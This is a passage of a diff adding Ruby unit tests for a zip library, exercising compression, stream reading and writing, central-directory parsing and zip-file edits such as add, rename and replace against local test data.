+    File.open(localFileName,   "wb") { |f| entry.write_local_entry(f) }
+    File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f)  }
+  end
+
+  def read_from_file(localFileName, centralFileName)
+    localEntry = nil
+    cdirEntry  = nil
+    File.open(localFileName,   "rb") { |f| localEntry = ZipEntry.read_local_entry(f) }
+    File.open(centralFileName, "rb") { |f| cdirEntry  = ZipEntry.read_c_dir_entry(f) }
+    return [localEntry, cdirEntry]
+  end
+end
+
+
+module DecompressorTests
+  # expects @refText, @refLines and @decompressor
+
+  TEST_FILE="data/file1.txt"
+
+  def setup
+    @refText=""
+    File.open(TEST_FILE) { |f| @refText = f.read }
+    @refLines = @refText.split($/)
+  end
+
+  def test_readEverything
+    assert_equal(@refText, @decompressor.read)
+  end
+    
+  def test_readInChunks
+    chunkSize = 5
+    while (decompressedChunk = @decompressor.read(chunkSize))
+      assert_equal(@refText.slice!(0, chunkSize), decompressedChunk)
+    end
+    assert_equal(0, @refText.size)
+  end
+
+  def test_mixingReadsAndProduceInput
+    # Just some preconditions to make sure we have enough data for this test
+    assert(@refText.length > 1000)
+    assert(@refLines.length > 40)
+
+    
+    assert_equal(@refText[0...100], @decompressor.read(100))
+
+    assert(! @decompressor.input_finished?)
+    buf = @decompressor.produce_input
+    assert_equal(@refText[100...(100+buf.length)], buf)
+  end
+end
+
+class InflaterTest < Test::Unit::TestCase
+  include DecompressorTests
+
+  def setup
+    super
+    @file = File.new("data/file1.txt.deflatedData", "rb")
+    @decompressor = Inflater.new(@file)
+  end
+
+  def teardown
+    @file.close
+  end
+end
+
+
+class PassThruDecompressorTest < Test::Unit::TestCase
+  include DecompressorTests
+  def setup
+    super
+    @file = File.new(TEST_FILE)
+    @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE))
+  end
+
+  def teardown
+    @file.close
+  end
+end
+
+ 
+module AssertEntry
+  def assert_next_entry(filename, zis)
+    assert_entry(filename, zis, zis.get_next_entry.name)
+  end
+
+  def assert_entry(filename, zis, entryName)
+    assert_equal(filename, entryName)
+    assert_entryContentsForStream(filename, zis, entryName)
+  end
+
+  def assert_entryContentsForStream(filename, zis, entryName)
+    File.open(filename, "rb") {
+      |file|
+      expected = file.read
+      actual   = zis.read
+      if (expected != actual)
+	if ((expected && actual) && (expected.length > 400 || actual.length > 400))
+	  zipEntryFilename=entryName+".zipEntry"
+	  File.open(zipEntryFilename, "wb") { |file| file << actual }
+	  fail("File '#{filename}' is different from '#{zipEntryFilename}'")
+	else
+	  assert_equal(expected, actual)
+	end
+      end
+    }
+  end
+
+  def AssertEntry.assert_contents(filename, aString)
+    fileContents = ""
+    File.open(filename, "rb") { |f| fileContents = f.read }
+    if (fileContents != aString)
+      if (fileContents.length > 400 || aString.length > 400)
+	stringFile = filename + ".other"
+	File.open(stringFile, "wb") { |f| f << aString }
+	fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'")
+      else
+	assert_equal(fileContents, aString)
+      end
+    end
+  end
+
+  def assert_stream_contents(zis, testZipFile)
+    assert(zis != nil)
+    testZipFile.entry_names.each {
+      |entryName|
+      assert_next_entry(entryName, zis)
+    }
+    assert_equal(nil, zis.get_next_entry)
+  end
+
+  def assert_test_zip_contents(testZipFile)
+    ZipInputStream.open(testZipFile.zip_name) {
+      |zis|
+      assert_stream_contents(zis, testZipFile)
+    }
+  end
+
+  def assert_entryContents(zipFile, entryName, filename = entryName.to_s)
+    zis = zipFile.get_input_stream(entryName)
+    assert_entryContentsForStream(filename, zis, entryName)
+  ensure 
+    zis.close if zis
+  end
+end
+
+
+
+class ZipInputStreamTest < Test::Unit::TestCase
+  include AssertEntry
+
+  def test_new
+    zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name)
+    assert_stream_contents(zis, TestZipFile::TEST_ZIP2)
+    zis.close    
+  end
+
+  def test_openWithBlock
+    ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) {
+      |zis|
+      assert_stream_contents(zis, TestZipFile::TEST_ZIP2)
+    }
+  end
+
+  def test_openWithoutBlock
+    zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name)
+    assert_stream_contents(zis, TestZipFile::TEST_ZIP2)
+  end
+
+  def test_incompleteReads
+    ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) {
+      |zis|
+      entry = zis.get_next_entry
+      assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], entry.name)
+      assert zis.gets.length > 0
+      entry = zis.get_next_entry
+      assert_equal(TestZipFile::TEST_ZIP2.entry_names[1], entry.name)
+      assert_equal(0, entry.size)
+      assert_equal(nil, zis.gets)
+      entry = zis.get_next_entry
+      assert_equal(TestZipFile::TEST_ZIP2.entry_names[2], entry.name)
+      assert zis.gets.length > 0
+      entry = zis.get_next_entry
+      assert_equal(TestZipFile::TEST_ZIP2.entry_names[3], entry.name)
+      assert zis.gets.length > 0
+    }
+  end
+
+  def test_rewind
+    ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) {
+      |zis|
+      e = zis.get_next_entry
+      assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], e.name)
+
+      # Do a little reading
+      buf = ""
+      buf << zis.read(100)
+      buf << (zis.gets || "")
+      buf << (zis.gets || "")
+
+      zis.rewind
+
+      buf2 = ""
+      buf2 << zis.read(100)
+      buf2 << (zis.gets || "")
+      buf2 << (zis.gets || "")
+
+      assert_equal(buf, buf2)
+
+      zis.rewind
+
+      assert_entry(e.name, zis, e.name)
+    }
+  end
+  
+end
+
+
+module CrcTest
+
+  class TestOutputStream
+    include IOExtras::AbstractOutputStream
+
+    attr_accessor :buffer
+
+    def initialize
+      @buffer = ""
+    end
+
+    def << (data)
+      @buffer << data
+      self
+    end
+  end
+
+  def run_crc_test(compressorClass)
+    str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed."
+    fakeOut = TestOutputStream.new
+    
+    deflater = compressorClass.new(fakeOut)
+    deflater << str
+    assert_equal(0x919920fc, deflater.crc)
+  end
+end
+
+
+
+class PassThruCompressorTest < Test::Unit::TestCase
+  include CrcTest
+
+  def test_size
+    File.open("dummy.txt", "wb") {
+      |file|
+      compressor = PassThruCompressor.new(file)
+      
+      assert_equal(0, compressor.size)
+      
+      t1 = "hello world"
+      t2 = ""
+      t3 = "bingo"
+      
+      compressor << t1
+      assert_equal(compressor.size, t1.size)
+      
+      compressor << t2
+      assert_equal(compressor.size, t1.size + t2.size)
+      
+      compressor << t3
+      assert_equal(compressor.size, t1.size + t2.size + t3.size)
+    }
+  end
+
+  def test_crc
+    run_crc_test(PassThruCompressor)
+  end
+end
+
+class DeflaterTest < Test::Unit::TestCase
+  include CrcTest
+
+  def test_outputOperator
+    txt = load_file("data/file2.txt")
+    deflate(txt, "deflatertest.bin")
+    inflatedTxt = inflate("deflatertest.bin")
+    assert_equal(txt, inflatedTxt)
+  end
+
+  private
+  def load_file(fileName)
+    txt = nil
+    File.open(fileName, "rb") { |f| txt = f.read }
+  end
+
+  def deflate(data, fileName)
+    File.open(fileName, "wb") {
+      |file|
+      deflater = Deflater.new(file)
+      deflater << data
+      deflater.finish
+      assert_equal(deflater.size, data.size)
+      file << "trailing data for zlib with -MAX_WBITS"
+    }
+  end
+
+  def inflate(fileName)
+    txt = nil
+    File.open(fileName, "rb") {
+      |file|
+      inflater = Inflater.new(file)
+      txt = inflater.read
+    }
+  end
+
+  def test_crc
+    run_crc_test(Deflater)
+  end
+end
+
+class ZipOutputStreamTest < Test::Unit::TestCase
+  include AssertEntry
+
+  TEST_ZIP = TestZipFile::TEST_ZIP2.clone
+  TEST_ZIP.zip_name = "output.zip"
+
+  def test_new
+    zos = ZipOutputStream.new(TEST_ZIP.zip_name)
+    zos.comment = TEST_ZIP.comment
+    write_test_zip(zos)
+    zos.close
+    assert_test_zip_contents(TEST_ZIP)
+  end
+
+  def test_open
+    ZipOutputStream.open(TEST_ZIP.zip_name) {
+      |zos|
+      zos.comment = TEST_ZIP.comment
+      write_test_zip(zos)
+    }
+    assert_test_zip_contents(TEST_ZIP)
+  end
+
+  def test_writingToClosedStream
+    assert_i_o_error_in_closed_stream { |zos| zos << "hello world" }
+    assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" }
+    assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" }
+  end
+
+  def test_cannotOpenFile
+    name = TestFiles::EMPTY_TEST_DIR
+    begin
+      zos = ZipOutputStream.open(name)
+    rescue Exception
+      assert($!.kind_of?(Errno::EISDIR) || # Linux 
+	     $!.kind_of?(Errno::EEXIST) || # Windows/cygwin
+	     $!.kind_of?(Errno::EACCES),   # Windows
+	      "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}")
+    end
+  end
+
+  def assert_i_o_error_in_closed_stream
+    assert_raise(IOError) {
+      zos = ZipOutputStream.new("test_putOnClosedStream.zip")
+      zos.close
+      yield zos
+    }
+  end
+
+  def write_test_zip(zos)
+    TEST_ZIP.entry_names.each {
+      |entryName|
+      zos.put_next_entry(entryName)
+      File.open(entryName, "rb") { |f| zos.write(f.read) }
+    }
+  end
+end
+
+
+
+module Enumerable
+  def compare_enumerables(otherEnumerable)
+    otherAsArray = otherEnumerable.to_a
+    index=0
+    each_with_index {
+      |element, index|
+      return false unless yield(element, otherAsArray[index])
+    }
+    return index+1 == otherAsArray.size
+  end
+end
+
+
+class ZipCentralDirectoryEntryTest < Test::Unit::TestCase
+
+  def test_read_from_stream
+    File.open("data/testDirectory.bin", "rb") {
+      |file|
+      entry = ZipEntry.read_c_dir_entry(file)
+      
+      assert_equal("longAscii.txt", entry.name)
+      assert_equal(ZipEntry::DEFLATED, entry.compression_method)
+      assert_equal(106490, entry.size)
+      assert_equal(3784, entry.compressed_size)
+      assert_equal(0xfcd1799c, entry.crc)
+      assert_equal("", entry.comment)
+
+      entry = ZipEntry.read_c_dir_entry(file)
+      assert_equal("empty.txt", entry.name)
+      assert_equal(ZipEntry::STORED, entry.compression_method)
+      assert_equal(0, entry.size)
+      assert_equal(0, entry.compressed_size)
+      assert_equal(0x0, entry.crc)
+      assert_equal("", entry.comment)
+
+      entry = ZipEntry.read_c_dir_entry(file)
+      assert_equal("short.txt", entry.name)
+      assert_equal(ZipEntry::STORED, entry.compression_method)
+      assert_equal(6, entry.size)
+      assert_equal(6, entry.compressed_size)
+      assert_equal(0xbb76fe69, entry.crc)
+      assert_equal("", entry.comment)
+
+      entry = ZipEntry.read_c_dir_entry(file)
+      assert_equal("longBinary.bin", entry.name)
+      assert_equal(ZipEntry::DEFLATED, entry.compression_method)
+      assert_equal(1000024, entry.size)
+      assert_equal(70847, entry.compressed_size)
+      assert_equal(0x10da7d59, entry.crc)
+      assert_equal("", entry.comment)
+
+      entry = ZipEntry.read_c_dir_entry(file)
+      assert_equal(nil, entry)
+# Fields that are not check by this test:
+#          version made by                 2 bytes
+#          version needed to extract       2 bytes
+#          general purpose bit flag        2 bytes
+#          last mod file time              2 bytes
+#          last mod file date              2 bytes
+#          compressed size                 4 bytes
+#          uncompressed size               4 bytes
+#          disk number start               2 bytes
+#          internal file attributes        2 bytes
+#          external file attributes        4 bytes
+#          relative offset of local header 4 bytes
+
+#          file name (variable size)
+#          extra field (variable size)
+#          file comment (variable size)
+
+    }
+  end
+
+  def test_ReadEntryFromTruncatedZipFile
+    fragment=""
+    File.open("data/testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes
+    fragment.extend(IOizeString)
+    entry = ZipEntry.new
+    entry.read_c_dir_entry(fragment)
+    fail "ZipError expected"
+  rescue ZipError
+  end
+
+end
+
+
+class ZipEntrySetTest < Test::Unit::TestCase
+  ZIP_ENTRIES = [ 
+    ZipEntry.new("zipfile.zip", "name1", "comment1"),
+    ZipEntry.new("zipfile.zip", "name2", "comment1"),
+    ZipEntry.new("zipfile.zip", "name3", "comment1"),
+    ZipEntry.new("zipfile.zip", "name4", "comment1"),
+    ZipEntry.new("zipfile.zip", "name5", "comment1"),
+    ZipEntry.new("zipfile.zip", "name6", "comment1")
+  ]
+
+  def setup
+    @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES)
+  end
+
+  def test_include
+    assert(@zipEntrySet.include?(ZIP_ENTRIES.first))
+    assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment")))
+  end
+
+  def test_size
+    assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size)
+    assert_equal(ZIP_ENTRIES.size, @zipEntrySet.length)
+    @zipEntrySet << ZipEntry.new("a", "b", "c")
+    assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.length)
+  end
+
+  def test_add
+    zes = ZipEntrySet.new
+    entry1 = ZipEntry.new("zf.zip", "name1")
+    entry2 = ZipEntry.new("zf.zip", "name2")
+    zes << entry1
+    assert(zes.include?(entry1))
+    zes.push(entry2)
+    assert(zes.include?(entry2))
+  end
+
+  def test_delete
+    assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size)
+    entry = @zipEntrySet.delete(ZIP_ENTRIES.first)
+    assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size)
+    assert_equal(ZIP_ENTRIES.first, entry)
+
+    entry = @zipEntrySet.delete(ZIP_ENTRIES.first)
+    assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size)
+    assert_nil(entry)
+  end
+
+  def test_each
+    # Tested indirectly via each_with_index
+    count = 0
+    @zipEntrySet.each_with_index { 
+      |entry, index|
+      assert(ZIP_ENTRIES.include?(entry))
+      count = count.succ
+    }
+    assert_equal(ZIP_ENTRIES.size, count)
+  end
+
+  def test_entries
+    assert_equal(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort)
+  end
+
+  def test_compound
+    newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment")
+    assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size)
+    @zipEntrySet << newEntry
+    assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.size)
+    assert(@zipEntrySet.include?(newEntry))
+
+    @zipEntrySet.delete(newEntry)
+    assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size)
+  end
+
+  def test_dup
+    copy = @zipEntrySet.dup
+    assert_equal(@zipEntrySet, copy)
+
+    # demonstrate that this is a deep copy
+    copy.entries[0].name = "a totally different name"
+    assert(@zipEntrySet != copy)
+  end
+
+  def test_parent
+    entries = [ 
+      ZipEntry.new("zf.zip", "a"),
+      ZipEntry.new("zf.zip", "a/"),
+      ZipEntry.new("zf.zip", "a/b"),
+      ZipEntry.new("zf.zip", "a/b/"),
+      ZipEntry.new("zf.zip", "a/b/c"),
+      ZipEntry.new("zf.zip", "a/b/c/")
+    ]
+    entrySet = ZipEntrySet.new(entries)
+    
+    assert_equal(nil, entrySet.parent(entries[0]))
+    assert_equal(nil, entrySet.parent(entries[1]))
+    assert_equal(entries[1], entrySet.parent(entries[2]))
+    assert_equal(entries[1], entrySet.parent(entries[3]))
+    assert_equal(entries[3], entrySet.parent(entries[4]))
+    assert_equal(entries[3], entrySet.parent(entries[5]))
+  end
+end
+
+
+class ZipCentralDirectoryTest < Test::Unit::TestCase
+
+  def test_read_from_stream
+    File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") {
+      |zipFile|
+      cdir = ZipCentralDirectory.read_from_stream(zipFile)
+
+      assert_equal(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size)
+      assert(cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { 
+		      |cdirEntry, testEntryName|
+		      cdirEntry.name == testEntryName
+		    })
+      assert_equal(TestZipFile::TEST_ZIP2.comment, cdir.comment)
+    }
+  end
+
+  def test_readFromInvalidStream
+    File.open("data/file2.txt", "rb") {
+      |zipFile|
+      cdir = ZipCentralDirectory.new
+      cdir.read_from_stream(zipFile)
+    }
+    fail "ZipError expected!"
+  rescue ZipError
+  end
+
+  def test_ReadFromTruncatedZipFile
+    fragment=""
+    File.open("data/testDirectory.bin") { |f| fragment = f.read }
+    fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete
+    fragment.extend(IOizeString)
+    entry = ZipCentralDirectory.new
+    entry.read_from_stream(fragment)
+    fail "ZipError expected"
+  rescue ZipError
+  end
+
+  def test_write_to_stream
+    entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"),
+      ZipEntry.new("file.zip", "secondEntryName"),
+      ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ]
+    cdir = ZipCentralDirectory.new(entries, "my zip comment")
+    File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) }
+    cdirReadback = ZipCentralDirectory.new
+    File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) }
+    
+    assert_equal(cdir.entries.sort, cdirReadback.entries.sort)
+  end
+
+  def test_equality
+    cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "secondEntryName"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "my zip comment")
+    cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "secondEntryName"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "my zip comment")
+    cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "secondEntryName"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "comment?")
+    cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "comment?")
+    assert_equal(cdir1, cdir1)
+    assert_equal(cdir1, cdir2)
+
+    assert(cdir1 !=  cdir3)
+    assert(cdir2 !=  cdir3)
+    assert(cdir2 !=  cdir3)
+    assert(cdir3 !=  cdir4)
+
+    assert(cdir3 !=  "hello")
+  end
+end
+
+
+class BasicZipFileTest < Test::Unit::TestCase
+  include AssertEntry
+
+  def setup
+    @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name)
+    @testEntryNameIndex=0
+  end
+
+  def test_entries
+    assert_equal(TestZipFile::TEST_ZIP2.entry_names.sort, 
+		  @zipFile.entries.entries.sort.map {|e| e.name} )
+  end
+
+  def test_each
+    count = 0
+    visited = {}
+    @zipFile.each {
+      |entry|
+      assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name))
+      assert(! visited.include?(entry.name))
+      visited[entry.name] = nil
+      count = count.succ
+    }
+    assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count)
+  end
+
+  def test_foreach
+    count = 0
+    visited = {}
+    ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) {
+      |entry|
+      assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name))
+      assert(! visited.include?(entry.name))
+      visited[entry.name] = nil
+      count = count.succ
+    }
+    assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count)
+  end
+
+  def test_get_input_stream
+    count = 0
+    visited = {}
+    @zipFile.each {
+      |entry|
+      assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name)
+      assert(! visited.include?(entry.name))
+      visited[entry.name] = nil
+      count = count.succ
+    }
+    assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count)
+  end
+
+  def test_get_input_streamBlock
+    fileAndEntryName = @zipFile.entries.first.name
+    @zipFile.get_input_stream(fileAndEntryName) {
+      |zis|
+      assert_entryContentsForStream(fileAndEntryName, 
+				   zis, 
+				   fileAndEntryName)
+    }
+  end
+end
+
+module CommonZipFileFixture 
+  include AssertEntry
+
+  EMPTY_FILENAME = "emptyZipFile.zip"
+
+  TEST_ZIP = TestZipFile::TEST_ZIP2.clone
+  TEST_ZIP.zip_name = "4entry_copy.zip"
+
+  def setup
+    File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME)
+    File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name)
+  end
+end
+
+class ZipFileTest < Test::Unit::TestCase
+  include CommonZipFileFixture
+
+  def test_createFromScratch
+    comment  = "a short comment"
+
+    zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE)
+    zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" }
+    zf.mkdir("dir1")
+    zf.comment = comment
+    zf.close
+
+    zfRead = ZipFile.new(EMPTY_FILENAME)
+    assert_equal(comment, zfRead.comment)
+    assert_equal(2, zfRead.entries.length)
+  end
+
+  def test_get_output_stream
+    entryCount = nil
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      entryCount = zf.size
+      zf.get_output_stream('newEntry.txt') {
+        |os|
+        os.write "Putting stuff in newEntry.txt"
+      }
+      assert_equal(entryCount+1, zf.size)
+      assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) 
+
+      zf.get_output_stream(zf.get_entry('data/generated/empty.txt')) {
+        |os|
+        os.write "Putting stuff in data/generated/empty.txt"
+      }
+      assert_equal(entryCount+1, zf.size)
+      assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) 
+
+    }
+    
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      assert_equal(entryCount+1, zf.size)
+      assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) 
+      assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) 
+    }
+  end
+
+  def test_add
+    srcFile   = "data/file2.txt"
+    entryName = "newEntryName.rb" 
+    assert(File.exists?(srcFile))
+    zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE)
+    zf.add(entryName, srcFile)
+    zf.close
+
+    zfRead = ZipFile.new(EMPTY_FILENAME)
+    assert_equal("", zfRead.comment)
+    assert_equal(1, zfRead.entries.length)
+    assert_equal(entryName, zfRead.entries.first.name)
+    AssertEntry.assert_contents(srcFile, 
+			       zfRead.get_input_stream(entryName) { |zis| zis.read })
+  end
+
+  def test_addExistingEntryName
+    assert_raise(ZipEntryExistsError) {
+      ZipFile.open(TEST_ZIP.zip_name) {
+	|zf|
+	zf.add(zf.entries.first.name, "data/file2.txt")
+      }
+    }
+  end
+
+  def test_addExistingEntryNameReplace
+    gotCalled = false
+    replacedEntry = nil
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      replacedEntry = zf.entries.first.name
+      zf.add(replacedEntry, "data/file2.txt") { gotCalled = true; true }
+    }
+    assert(gotCalled)
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      assert_contains(zf, replacedEntry, "data/file2.txt")
+    }
+  end
+
+  def test_addDirectory
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR)
+    }
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } 
+      assert(dirEntry.is_directory)
+    }
+  end
+
+  def test_remove
+    entryToRemove, *remainingEntries = TEST_ZIP.entry_names
+
+    File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name)
+
+    zf = ZipFile.new(TEST_ZIP.zip_name)
+    assert(zf.entries.map { |e| e.name }.include?(entryToRemove))
+    zf.remove(entryToRemove)
+    assert(! zf.entries.map { |e| e.name }.include?(entryToRemove))
+    assert_equal(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) 
+    zf.close
+
+    zfRead = ZipFile.new(TEST_ZIP.zip_name)
+    assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove))
+    assert_equal(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) 
+    zfRead.close
+  end
+
+
+  def test_rename
+    entryToRename, *remainingEntries = TEST_ZIP.entry_names
+    
+    zf = ZipFile.new(TEST_ZIP.zip_name)
+    assert(zf.entries.map { |e| e.name }.include?(entryToRename))
+    
+    newName = "changed name"
+    assert(! zf.entries.map { |e| e.name }.include?(newName))
+
+    zf.rename(entryToRename, newName)
+    assert(zf.entries.map { |e| e.name }.include?(newName))
+
+    zf.close
+
+    zfRead = ZipFile.new(TEST_ZIP.zip_name)
+    assert(zfRead.entries.map { |e| e.name }.include?(newName))
+    zfRead.close
+  end
+
+  def test_renameToExistingEntry
+    oldEntries = nil
+    ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries }
+
+    assert_raise(ZipEntryExistsError) {
+      ZipFile.open(TEST_ZIP.zip_name) {
+	|zf|
+	zf.rename(zf.entries[0], zf.entries[1].name)
+      }
+    }
+
+    ZipFile.open(TEST_ZIP.zip_name) { 
+      |zf| 
+      assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name })
+    }
+  end
+
+  def test_renameToExistingEntryOverwrite
+    oldEntries = nil
+    ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries }
+    
+    gotCalled = false
+    renamedEntryName = nil
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      renamedEntryName = zf.entries[0].name
+      zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true }
+    }
+
+    assert(gotCalled)
+    oldEntries.delete_if { |e| e.name == renamedEntryName }
+    ZipFile.open(TEST_ZIP.zip_name) { 
+      |zf| 
+      assert_equal(oldEntries.sort.map{ |e| e.name }, 
+		    zf.entries.sort.map{ |e| e.name })
+    }
+  end
+
+  def test_renameNonEntry
+    nonEntry = "bogusEntry"
+    target_entry = "target_entryName"
+    zf = ZipFile.new(TEST_ZIP.zip_name)
+    assert(! zf.entries.include?(nonEntry))
+    assert_raise(Errno::ENOENT) {
+      zf.rename(nonEntry, target_entry)
+    }
+    zf.commit
+    assert(! zf.entries.include?(target_entry))
+  ensure
+    zf.close
+  end
+
+  def test_renameEntryToExistingEntry
+    entry1, entry2, *remaining = TEST_ZIP.entry_names
+    zf = ZipFile.new(TEST_ZIP.zip_name)
+    assert_raise(ZipEntryExistsError) {
+      zf.rename(entry1, entry2)
+    }
+  ensure 
+    zf.close
+  end
+
+  def test_replace
+    entryToReplace = TEST_ZIP.entry_names[2]
+    newEntrySrcFilename = "data/file2.txt" 
+    zf = ZipFile.new(TEST_ZIP.zip_name)
+    zf.replace(entryToReplace, newEntrySrcFilename)
+    
+    zf.close
+    zfRead = ZipFile.new(TEST_ZIP.zip_name)
+    AssertEntry::assert_contents(newEntrySrcFilename, 
+				zfRead.get_input_stream(entryToReplace) { |is| is.read })
+    AssertEntry::assert_contents(TEST_ZIP.entry_names[0], 
+				zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read })
+    AssertEntry::assert_contents(TEST_ZIP.entry_names[1], 
+				zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read })
+    AssertEntry::assert_contents(TEST_ZIP.entry_names[3], 
+				zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read })
+    zfRead.close    
+  end
+
+  def test_replaceNonEntry
+    entryToReplace = "nonExistingEntryname"
+    ZipFile.open(TEST_ZIP.zip_name) {
+      |zf|
+      assert_raise(Errno::ENOENT) {
+	zf.replace(entryToReplace, "data/file2.txt")
+      }
+    }
+  end
+
+  def test_commit
+    newName = "renamedFirst"
+    zf = ZipFile.new(TEST_ZIP.zip_name)
+    oldName = zf.entries.first
+    zf.rename(oldName, newName)
+    zf.commit
+
+    zfRead = ZipFile.new(TEST_ZIP.zip_name)
+    assert(zfRead.entries.detect { |e| e.name == newName } != nil)
+    assert(zfRead.entries.detect { |e| e.name == oldName } == nil)
+    zfRead.close
+
+    zf.close
+  end
+
+  # This test tests that after commit, you
+  # can delete the file you used to add the entry to the zip file
+  # with
+  def test_commitUseZipEntry
+    File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt")
+    zf = ZipFile.open(TEST_ZIP.zip_name)
+    zf.add("okToDelete.txt", "okToDelete.txt")
+    assert_contains(zf, "okToDelete.txt")
+    zf.commit
+    File.move("okToDelete.txt", "okToDeleteMoved.txt")
+    assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt")
+  end
+
+#  def test_close
+#    zf = ZipFile.new(TEST_ZIP.zip_name)
+#    zf.close
+#    assert_raise(IOError) {
+#      zf.extract(TEST_ZIP.entry_names.first, "hullubullu")
+#    }
+#  end
+
+  def test_compound1
+    renamedName = "renamedName"
+    originalEntries = []
+    begin
+      zf = ZipFile.new(TEST_ZIP.zip_name)
+      originalEntries = zf.entries.dup
+
+      assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1)
+      zf.add(TestFiles::RANDOM_ASCII_FILE1, 
+	     TestFiles::RANDOM_ASCII_FILE1)
+      assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1)
+
+      zf.rename(zf.entries[0], renamedName)
+      assert_contains(zf, renamedName)
+
+      TestFiles::BINARY_TEST_FILES.each {
+	|filename|
+	zf.add(filename, filename)
+	assert_contains(zf, filename)
+      }
+
+      assert_contains(zf, originalEntries.last.to_s)
+      zf.remove(originalEntries.last.to_s)
+      assert_not_contains(zf, originalEntries.last.to_s)
+      
+    ensure
+      zf.close
+    end
+    begin
+      zfRead = ZipFile.new(TEST_ZIP.zip_name)
+      assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1)
+      assert_contains(zfRead, renamedName)
+      TestFiles::BINARY_TEST_FILES.each {
+	|filename|
+	assert_contains(zfRead, filename)
+      }
+      assert_not_contains(zfRead, originalEntries.last.to_s)
+    ensure
+      zfRead.close
+    end
+  end
+
+  def test_compound2
+    begin
